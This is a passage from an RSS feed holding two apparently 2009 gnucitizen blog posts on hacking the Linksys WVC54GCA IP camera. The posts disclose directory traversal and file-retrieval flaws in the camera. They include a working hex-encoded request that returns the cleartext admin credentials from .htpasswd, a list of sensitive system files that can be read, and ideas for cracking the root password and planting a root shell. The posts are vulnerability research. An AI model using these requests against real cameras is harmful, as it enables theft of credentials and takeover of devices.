<p>Needless to say, if the root password is not too strong you should be able to crack it using <a href="http://www.openwall.com/john/">john</a> or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I&#8217;m guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.</p>

<p>Unfortunately, as I mentioned in the <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">first post</a> of these series, the WVC54GCA camera comes with a telnet daemon included, but it&#8217;s off by default. I haven&#8217;t managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by <a href="http://brooknet.no-ip.com/~lex/public/WVC54G/">modifying</a> the bin firmware image and uploading it again.</p>

<h4>What can we do with these vulnerabilities?</h4>

<p>Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:</p>

<ul>
<li><code>/etc/passwd</code> : traditional-DES-format password file with no salt</li>
<li><code>/usr/local/www/img/.htpasswd</code> : HTTP credentials stored in cleartext</li>
<li><code>/usr/local/www/adm/.htpasswd</code> : contains same data as previous file</li>
<li><code>/etc/system.conf</code> : all camera settings stored in cleartext including admin password, wifi encryption key, etc &#8230;</li>
<li><code>/usr/local/bin/thttpd.conf</code> : web server config file confirming the daemon runs as root, which is the only system account present anyway</li>
<li><code>/etc/init.d/rcS</code>  :  here we see the line that starts the telnet daemon (<code>/usr/sbin/telnetd</code>) commented out</li>
<li><code>/etc/def_sys.conf</code> : camera&#8217;s default settings</li>
<li><code>/etc/system.conf</code> : camera&#8217;s current settings</li>
<li><code>/var/nc.log</code> : network connections logs</li>
<li><code>/etc/group</code></li>
<li><code>/etc/inittab</code></li>
<li><code>/proc/cpuinfo</code> : processor details</li>
<li><code>/proc/meminfo</code></li>
<li><code>/proc/version</code> : OS details</li>
<li><code>/proc/uptime</code></li>
</ul>

<p>Finding a file upload vulnerability should allow us to overwrite the <code>/etc/init.d/rcS</code> file and eventually manage to start the telnet server after reboot. By overwriting the <code>/etc/passwd</code> file with our own we should be able to add our own root password. Unfortunately, I haven&#8217;t discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I&#8217;d love to hear the details.</p>

<h3>Testing Info</h3>

<p>Directory traversal vuln #1 successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)</li>
</ul>

<p>Directory traversal vuln #2 successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>V1.00R24 (latest available as on 23rd April 2009)</li>
</ul>
<p>Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.</p>
<p><em>Please note that the aforementioned vulnerabilities are different to <a href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected the <code>/main.cgi</code> program rather than <code>/adm/file.cgi</code>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 2)</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 22:27:14 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=2978</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN article, which includes an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1).

Privilege escalation via arbitrary file retrieval

The second vulnerability I&#8217;ll be releasing is an arbitrary(ish) file retrieval vulnerability. It&#8217;s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN article, which includes an introduction to the topic and also some initial observations: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>.</em></p>

<h3>Privilege escalation via arbitrary file retrieval</h3>

<p>The second vulnerability I&#8217;ll be releasing is an arbitrary(ish) file retrieval vulnerability. It&#8217;s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. However, this is enough to allow a neat privilege escalation vector where a restricted user that only has permissions to view the video stream, can gain access to the <code>admin</code> account password.</p>

<p>The problem lies within the <code>next_file</code> parameter which is submitted to the <code>main.cgi</code> program. Although <code>main.cgi</code> <em>does</em> filter characters typically used in directory traversal sequences such as dots (<code>.</code>) and forward slashes (<code>/</code>), it seems that the developer didn&#8217;t consider that retrieving the contents of files within the current directory could create a security hole. By simply retrieving the contents of <code>.htpasswd</code> a restricted user which only has permissions to access the video stream can access the credentials of the <code>admin</code> account and also the credentials of other restricted users (if applicable).</p>

<p>The only restriction that needs to be bypassed, is dots (<code>.</code>) symbols being filtered. i.e.: the following will <em>not</em> work and will result in a forbidden error:</p>

<pre><code>/img/main.cgi?next_file=.htpasswd</code></pre>

<p>But replacing the dot (<code>.</code>) symbol with its hexadecimal equivalent:</p>

<pre><code>/img/main.cgi?next_file=%2ehtpasswd</code></pre>

<p>Will result in the contents of <code>.htpasswd</code> being returned. i.e.:</p>

<pre><code>admin:adminpassw0rd user1:pass1 user2:pass2</code></pre>

<p>Like most IP cameras, the Linksys WVC54GCA allows administrators to grant access to the video stream to selected users only (rather than anonymous users who don&#8217;t need to authenticate). In this case, the admin user can click on the <code>Users</code> menu and tick the <code>Only users in database</code> option (please see screenshot below). After this, all that is needed is to add a username/password pair for the account to grant video-viewing access to:</p>

<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/video_user_accounts.png" alt="Video User Accounts" title="Video User Accounts" width="489" height="227" class="alignnone size-full wp-image-2990" /></div>

<p>Well, the feature discussed above can be rendered useless by exploiting the vulnerability I have described, since it allows restricted users to retrieve the admin password.</p>

<h3>Testing Info</h3>

<p>Successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 20th April 2009)</li>
</ul>

<p><em>Please note that this vulnerability is different to <a href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected the <code>/main.cgi</code> program rather than <code>/img/main.cgi</code>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>

